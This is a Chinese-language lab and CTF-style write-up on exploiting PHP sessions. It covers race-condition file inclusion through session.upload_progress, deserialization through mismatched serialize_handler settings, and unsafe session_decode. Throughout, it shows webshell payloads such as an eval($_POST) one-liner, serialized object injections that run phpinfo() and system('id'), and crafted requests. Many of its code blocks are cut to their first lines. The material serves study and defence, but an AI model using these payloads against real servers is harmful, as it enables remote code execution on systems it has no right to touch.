session
什么是session
官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要有以下特点:
sessin保存的位置是在服务器端
session通常是要配合cookie使用
因为HTTP的无状态性,服务端产生了session来标识当前的用户状态
本质上,session就是一种可以维持服务器端的数据存储技术。即session技术就是一种基于后端有别于数据库的临时存储数据的技术
session.upload_progress
我先从头到尾分析一下利用session.upload_progress进行文件包含
相关配置
在讲该姿势的具体利用方法之前,要先讲几个 php.ini 中的相关配置,这也是利用该方式进行文件包含的前提,此特性自 PHP 5.4.0 后可用。
1 | session.auto_start = off |
1 | enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ; |
当 session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如
1 |
|
存储机制
当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。
在linux系统中,session文件一般保存在以下几个目录:以session.save_path
为依据
1 | /var/lib/php/ |
分析
问题一
代码里没有session_start()
,如何创建session文件呢。
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=zixyd,PHP将会在服务器上创建一个文件:sess_zixyd
。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_zixyd。
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
需要条件竞争
实验一
在kali中开启nginx;并创建index.php文件内容如下:
1 |
|
使用了session_start
函数,并且存在任意文件包含漏洞,但是服务器上却没有恶意的文件包含可以getwebshell
时,这时可以利用session.upload_progress
方法一(bp)
创建一个可以上传文件的html文件
1 | <html> |
随便上传一个文件并抓包发送到intruder
模块,注意是随便上传一个文件,这里我们只需要利用在文件上传时PHP_SESSION_UPLOAD_PROGRESS
和Cookie中PHPSESSID
的值,而和上传什么文件无关,这个包是为了条件竞争制作恶意文件的
1 | POST /index.php |
再抓一个包发送到intruder
模块,这个包存在任意文件包含漏洞,是为了包含恶意文件的
1 | POST / |
成功
方法二(python)
1 | # -*- encoding:utf-8 -*- |
输出如下:可以很明显的看到是由“upload_progress_”和<?php eval($_POST[2]);?>
为键值,|
后面的就是session中存储的上传进度时的信息;只不过<?php eval($_POST[2]);?>
已经被php解析了变成了flag{this is fuck flag},这里也可以看出另一点:session.serialize_handler = php
,这与session产生反序列漏洞有关
1 | upload_progress_flag{this is fuck flag} |
session_unser
PHP session序列化机制
根据php.ini
中的配置项,我们研究将$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中,使用的三种不同的处理格式,即session.serialize_handler
定义的三种引擎:
处理器 | |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
php处理器
这里为了加深说明除了session_start
函数,还可以用session.auto_start
配置,我接下来的使用将不使用函数,而是更改配置;(这样改配置本来没有问题,但是这样改配置达不到看处理器不同而存储的序列化数据不同,听不懂? 下面会说明)
我的实验环境是:kali+nginx+fpm
1 | ┌──(kali㉿kali)-[~] |
测试代码
1 |
|
这里可以看到,未使用session_start
函数;Cookie却存在PHPSESSID
来看看php处理器将数据序列化的形式
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
php_serialize处理器
1 |
|
这里我已经将session.serialize_handler
改成了php_serialize
但是数据函数以php处理器方式存储的;经过排查找到原因:ini_set('session.serialize_handler','php_serialize');
只对当前文件的session_start
函数有效;而对php.ini中的配置无效,
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
所以我又将php.ini中的session.auto
改回了0,并在文件中添加session_start();
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
1 | php: name|s:5:"zixyd"; |
session的反序列化漏洞利用
session的反序列化漏洞,就是利用php
处理器和php_serialize
处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因
实验一
创建一个test.php,使用php_serialize
处理器;
1 |
|
创建一个shell.php,默认使用php处理器
1 |
|
1 |
|
将|O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}
url编码;访问test.php
;将恶意数据存储到session文件中
1 | http://192.168.6.98/test.php?zixyd=%7CO%3A5%3A%22shell%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A10%3A%22phpinfo()%3B%22%3B%7D |
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
可以看到恶意数据已经成功存储到了session文件,直接访问shell.php即可执行phpinfo
php处理器会以|
作为分隔符,将O:5:"shell":1:{s:4:"name";s:10:"phpinfo();";}
反序列化,就会触发__wakeup()
方法,最后对象销毁执行__destruct()
方法中的eval()
函数
实验二
创建一个test2.php文件内容如下:
1 |
|
查看phpinfo
1 | http://web.jarvisoj.com:32784/index.php?phpinfo=1 |
从phpinfo中寻找重要信息如下:
Directive | Local Value | Master Value |
---|---|---|
session.auto_start | Off | Off |
session.save_path | /var/lib/php/sessions | /var/lib/php/sessions |
session.serialize_handler | php | php_serialize |
session.upload_progress.enabled | on | on |
session.upload_progress.cleanup | Off | Off |
session.upload_progress.name | PHP_SESSION_UPLOAD_PROGRESS | PHP_SESSION_UPLOAD_PROGRESS |
session.upload_progress.prefix | upload_progress_ | upload_progress_ |
session.use_strict_mode | Off | Off |
可见php.ini
中session.serialize_handler = php_serialize
,当前目录中被设置为session.serialize_handler = php
,因此存在session反序列化利用的条件
1 | local value(局部变量:作用于当前目录程序,会覆盖master value内容):php |
那么我们如何找到代码入口将利用代码写入到session
文件?想要写入session
文件就得想办法在$_SESSION
变量中增加我们可控的输入点,这里可以利用session.upload_progress
,因为这样的话session.upload_progress.name
和filename
的值都可控制;
1 |
|
还是利用那个文件上传的html文件
1 | <html> |
这里有个奇怪的点就是:我将session.upload_progress.cleanup
关了,但依然没有用,文件上传的信息依然没有,最终还是利用条件竞争
|O:5:"zixyd":1:{s:4:"mdzz";s:13:"system("id");";}
注意这里有一个|
,这里可以把payload放到session.upload_progress.name
和filename
都是可以的
1 | POST /test2.php |
1 | GET /test2.php |
success
最后放一张流程图,虽然和我做的实验不一样,但是意思就是这个意思,参考:F4ke12138
session_decode
1 | session_decode(string `$data`): bool |
session_decode() 对 $data
参数中的已经序列化的会话数据进行解码, 并且使用解码后的数据填充 $_SESSION 超级全局变量
。
请注意,这里的反序列化方法不同于 unserialize() 函数。 序列化方法是 PHP 内置的,并且可以通过 session.serialize_handler 配置项进行修改。
实验一
创建一个session.php文件,内容如下:
1 |
|
1 | POST: data=username|s:5:"zixyd"; |
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
成功将username|s:5:"zixyd";
写入到session文件中,
如果写入的是恶意数据呢?
1 | POST: data=shell|O:5:"zixyd":1:{s:1:"a";s:10:"phpinfo();";} |
1 | ┌──(root㉿kali)-[/var/lib/php/sessions] |
成功执行phpinfo();
可以看到当session_decode
函数的值是可控时,是非常危险的